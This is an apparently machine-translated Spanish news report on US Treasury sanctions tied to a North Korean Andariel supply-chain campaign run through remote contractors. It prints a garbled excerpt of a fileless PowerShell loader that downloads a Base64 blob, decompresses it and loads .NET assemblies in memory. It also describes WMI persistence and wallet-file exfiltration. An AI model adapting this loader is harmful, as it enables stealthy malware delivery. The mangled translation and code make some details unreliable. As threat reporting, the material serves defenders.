La acción del Tesoro de los Estados Unidos el 8 de julio contra Song Kum Hyok y cuatro entidades con sede en Rusia retiraron el telón de una sofisticada cartera de ingresos habilitados para malware que ha financiado silenciosamente los programas de armas de Pyongyang durante años.
Los investigadores rastrean la campaña a Andariel, una subunidad de la Oficina General de Reconocimiento (RGB) ya notoria por los atracos de criptomonedas de alto valor.
Al integrar a los desarrolladores norcoreanos dentro de los proyectos de software legítimos, el grupo obtuvo acceso persistente y firmante de código a repositorios corporativos y tuberías de CI/CD, lo que permite actualizaciones maliciosas para montar canales confiables.
A las pocas semanas de la incorporación, los contratistas deshonestos comenzaron a sembrar una dependencia de JavaScript de aspecto inocuo que, una vez compilado, cargó a un stager de PowerShell para contactar *.China-CDN (.) Org, un dominio que se ha disfrazado de un espejo de contenido.
El Departamento de Analistas del Tesoro de los Estados Unidos anotado El intervalo de baliza del Stager cambia dinámicamente entre 90 y 600 segundos, frustrando las líneas de base en forma de tráfico.
Los mismos analistas identificaron que cada trabajo de construcción que alcanza los corredores de acciones de GitHub después de marzo de 2025 contenía la dependencia alterada, evidencia de que el envenenamiento de la cadena de suministro en lugar del phishing de lanza era el vector de ataque preferido.
Las víctimas abarcan vendedores de IoT FinTech, atención médica e industrial en tres continentes; En varios casos, los binarios corruptos fueron empujados a servidores de actualización por aire, arma de manera efectiva, aregar los ciclos de parches de rutina.
Los dispositivos tratados luego canalizaron la telemetría, los datos del portapapeles y los archivos de billetera de criptomonedas al nivel de comando de Anderiel, comprimiendo contenido exfiltrado con LZNT1 antes del cifrado AES-256. Los investigadores del Tesoro señalaron que el grupo monetizó las billeteras robadas directamente, mientras que otros datos se vendieron en los mercados subterráneos rusos.
Cargador residente de memoria
El implante de JavaScript inicial simplemente obtiene un blob codificado Base64 almacenado en un GitHub GIST referenciado como “Worker-Resume.txt”.
El blob se expande en un script PowerShell de cuatro etapas que nunca toca el disco, aprovechando el tipo adicional para compilar C# en línea y secuestrar el servicio de instrumentos de administración de Windows para persistencia.
Un extracto condensado ilustra la transmisión crucial:-
$ raw = Invoke-Restmethod $ Gurl $ bytes = (System.Convert) :: FromBase64String ($ Raw) $ DECOMP = (System.io.compression.deflatestream) :: new ((System.io.MemoryStream) :: New ($ bytes), ‘descompresión’) $ buf = byte-object byte () 0x2000 mientras (((($ len ($ (((((($ len ((decompresas decompresas) “). $ DECOMP.read ($ buf, 0, $ buf.length)) -gt 0) {(System.Reflection.Assembly) :: Load ($ buf (0 .. ($ len -1))) | Out-Null} Start-sleep (Get-Random -Min 90 -Max 600)
Cada ejecución carga una carga útil .NET cifrada directamente en la memoria, frustrando los escaneos antivirus basados en archivos tradicionales y dejando solo artefactos volátiles en ganchos amsi.dll.
La DLL maligna luego registra a un consumidor de eventos bajo la suscripción de Root \\, asegurando el renacimiento después de reiniciar sin crear nuevos servicios o teclas de ejecución de registro, una táctica de evasión que mantuvo tasas de detección basadas en huéspedes por debajo del 5 por ciento en las presentaciones Virustotal hasta junio de 2025.
La presión continua de las sanciones complicará las vías de cobro, sin embargo, la baja huella de la campaña subraya por qué los flujos de trabajo de contratistas remotos siguen siendo un conducto atractivo y difícil de auditar para los operadores de malware patrocinados por el estado.
Investigue el comportamiento de malware en vivo, rastree cada paso de un ataque y tome decisiones de seguridad más rápidas y inteligentes -> Prueba cualquiera.